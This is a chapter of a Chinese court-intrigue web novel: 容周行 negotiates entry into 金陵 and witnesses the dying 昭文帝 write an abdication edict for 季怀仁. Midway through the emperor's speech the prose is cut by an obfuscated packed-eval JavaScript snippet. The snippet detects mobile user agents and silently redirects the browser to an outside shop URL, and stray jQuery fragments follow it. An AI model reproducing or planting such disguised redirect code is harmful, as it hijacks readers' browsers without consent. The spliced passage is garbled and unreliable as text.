城楼上。
容周行独骑而来,陈见穆在城楼上摆来酒菜迎他。两个人各自视远处的北境军与城楼上戒严的守兵如无物,觥筹交错。
容周行问:“我是来和陈统领谈一笔交易的。”
陈见穆答:“我知道北境军在城下,你说的话分量比谁都重,但你见过两江总督段大人,就该知道现在皇长子还被困在宫里,容氏不放人,我们控制着金陵也只是困兽之斗,跟谁合作的事,我们根本没得选。”
容周行不怎么经意地把手下的茶杯转了半圈:“陈统领手下有位叫陈盎的副将吧?”
陈见穆一愣。
容周行冲他笑道:“陈副将今天早上没有职守任务吧?我出发前听说,有人刚刚看到他跟着容子玉进了烟雨楼。”
陈见穆不知道想起了什么,面色一变,招来一个手下耳语两句,手下去了,半柱香后又从城楼下上来,冲着陈见穆一点头。
“陈统领确定过了消息的真实性,那现在我们可以好好谈谈了吧?”
“……愿闻其详。”
容周行坐正了:“陈统领,相比于容家,我相信我们才是真正的朋友。你试想一下,若不是此刻北境军兵临城下,容氏需要仰仗陈氏守成,哪里还会留皇长子一命,用皇长子吊着你们?依照容子玉和我父亲的精明,先把皇长子一杀,二殿下就是唯一名正言顺的继承人,这一点名分啊,压得死人。”
陈见穆的面色难看异常。
“更何况,容子玉不也准备了一手,直接绕过你联系你的副手了吗?他野心大,想要的可不是一时的平衡,他要的是把陈氏吞下去,再把三殿下也吞下去。”
陈见穆几十年官场混下来,又是在金陵这样的地方,遇事慌而不乱,他琢磨了一下,没记着表诚心,而是问:“那你想要的是什么?”
容周行说:“请陈统领放我进城,我要见陛下一面。”
陈见穆摇头:“你能进金陵也没用,宫城在容氏手里,没有容子玉的允准,谁也进不去。”
“谁说宫城就在容子玉手里了?”容周行轻哂,“尚衣令是自己把自己的风头压下去了,又不是死绝了……陈统领只管带我们到宫门,剩下的不劳费心。”
城楼上,陈见穆站在手下的拱卫之中,目送容周行回到北境军中。手下有点犹疑地问:“陈副统领的事情?”
陈见穆把手掌向下一压:“先不要声张,拍两个人盯着他一点,不要以后这种事情,还要我们从别人口中听到消息。”
手下一点头,下去安排了。
陈见穆望着容周行的背影,叹了口气:“也是一代英杰,可是只要淌进了金陵的浑水,谁也光鲜不起来啊。”
这是江秋第一次进金陵城。
他不知道容周行和陈统领聊了什么,但午后就有城墙上的守军来接他们入城。一行人进了城门,城楼上手持弓箭的守军虎视眈眈。
三伏天,江秋一路被箭镞指着,觉得手心都发凉。一边的容周行倒是没什么反应,步子很稳。他们到了宫城角下,站了半刻,就有尚衣令来接应。
尚衣令带着他们在宫殿间曲折穿梭,最后,他们在一座沉闷、封闭而充斥着药味的宫殿里,见到了这个王朝的统治者。
不过在此之前,,他们先见到的是一个长得像天仙一样的女人。
容贵妃,容周行的姑姑,二殿下的生母。
她听见门响,不急不缓地把药碗搁下,替床上的昭文帝把被子掖好,站起身的时候她身后床榻的帷帐随之滑落而下,衬得她像是从云间走下凡间的仙子。
她的漂亮和江秋先前所见过的任何一种美丽都不同,萧芰荷的美炽烈、贺云霏的美凌厉,他自己也长得不错,如果抹把粉去和姑娘们比美,大概也能占一个清秀。
而容贵妃美得工整,她的一颦一笑都是最地道的金陵风情,低眉、抬眼、颔首,多一分太多,少一分又太少。
容贵妃冲容周行露出一个不多不少的笑:“本宫听见门响,也猜到该是你来了,这个时候,不会有别人来看他。”
她在这个死气沉沉的屋子里周到地惊人,接着向季怀仁道:“后面那是三殿下吧,一转眼,都已经长得这样大了。”
“容娘娘。”季怀仁经过她的时候,躬身道,而后他走到殿内深处的床榻前,俯身在地,“儿臣季怀仁,拜见父皇。”
一只枯瘦的手颤抖着把刚刚被容贵妃放下的帷帐掀开了一角,那个声音沙哑地说:“是周行来了吧,来,过来。”
容周行原本谨守着为臣的本分,在床边五步远处垂手而立。听到这一声,他恍然抬了一下眼,而后走到榻前,跪在了季怀仁身边,接过了那只枯瘦的手:“陛下,臣在。臣这次回来把三殿下带回来了,三殿下没有辜负陛下的期望,好好地长大成人了,您看他一眼。”
江秋垂首站在远处,在他这个角度,恰好可以看见帷帐一阵晃动,一个干瘪的人影支撑着自己做起来,手还攥着容周行,目光终于落在了季怀仁的身上。
在他的想象里,站在金陵的峰顶的昭文帝应当是高大而强健的,至少不应该是这个干枯的、惊人的苍老的,好像多说几句话就会喘不上气的老人。
江秋屏住了呼吸。
“老三,当年朕一句话不说把你扔到北境,你恨朕吗?”
“是因为父皇期待儿臣可以成为几代皇权和世家权力的破局人,父皇想要历练儿臣。但是如果把儿臣留在金陵,世家的监视之下,儿臣又会太早地引人注意,没法顺利长成到羽翼丰满的一天,所以和容公子指定了计策,送儿臣北上。”
昭文帝:“是容周行告诉你的,还是你自己猜的?”
容周行:“陛下有令,臣不曾透露过。”
昭文帝这才低低地笑了:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042680|148933||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“那你很聪明,比朕其他的儿子们都强。大梁的千里江山啊,怀景成不了大事,怀肃被母家把持死了,朕没想到自己驰骋风云半生,到了临了的时候,会被困在一张床、一间宫殿里,无所选择。”
季怀仁默不作声。
昭文帝:“老三,朕把大梁的千里江山交给你,你接不接得住呢?”
季怀仁再次俯身在地,声音平稳:“儿臣不敢妄言自己是否已经有能力承担大梁的江山。然而如今大梁内患在前,儿臣必要先除内患,将背后作恶的世家大族予以惩戒,此后,儿臣会全力以赴,接下父皇传下的担子。”
昭文帝向季怀仁伸出手,他的胸口急剧地起伏着,季怀仁接过他的手,几乎能够通过一层薄薄的干枯的皮肤,感受到昭文帝激烈跳动着的脉搏。
昭文帝抬起眼皮看他,然而殿内昏暗,他的目光也不再如六年前下旨让季怀仁北上时那样锐利,于是他因为眼前的模糊,目光显出一丝难得的柔和来:“你母亲……朕不是说关贵嫔,说得是你的亲身母亲,咳,杜氏,她是个很柔弱的女子,从来不跟朕说要什么,那年夏天她怀着你的时候,殿里的冰都用完了,给朕的果子都是打井水来凉的。”
“你小时候像她,但你是朕的儿子,是龙子,可以有仁爱之心,但不能软弱无能。玉不琢不成器,从当年容氏和胡氏四碗药都没把你药死,让你顺利生下来开始,你的命就是注定的,不要怪朕。”
昭文帝华丽的袖摆沿着床榻垂下来,金丝的边刺痛了季怀仁的眼,他猝然低下头,好在昭文帝说完他,转向了容周行:“周行,你替朕摆笔墨。”
容周行研了墨,江秋和季怀仁一人一侧把毛毡撑开。昭文帝把帷帐解开,藏在帐顶的,竟然的帝王的玉玺。
江秋下意识地瞥了一眼一侧不声不响地容贵妃。
昭文帝:“不用担心,瑾瑜不是容氏的人。”
容贵妃仍然垂首而立,像是一座神秘的、不可窥探的雕像。
昭文帝腕力虚浮,一道圣旨,他搁笔了好几次才写成,最后几乎是容周行扶着他把玉玺盖上的。鲜红的玉玺落下之后,昭文帝一个人沉默地注视了那道圣旨很久。
那是传位给季怀仁的诏书,不管此刻旧王的施令还有多少力量,那都是一道传位诏书。
昭文帝把诏书合上递给容周行,最后道:“朕原本以为,自己还有时间等待你带着老三从北境回来,还有时间看看未来老三麾下会有哪些肱骨之臣……现在都来不及了,你们去吧,大梁的江山……就交给你们了。”
容周行经过容贵妃的时候,轻声说:“多谢姑姑。”
容贵妃抬起头,她在这个瞬间有了一丝生气,但很快又在黯淡的金殿中杳然无踪,她像是个上好了发条的人偶,重新走回昭文帝床边,端起了药碗。
江秋依稀听见她对容周行说:“不必了,都是自家人。”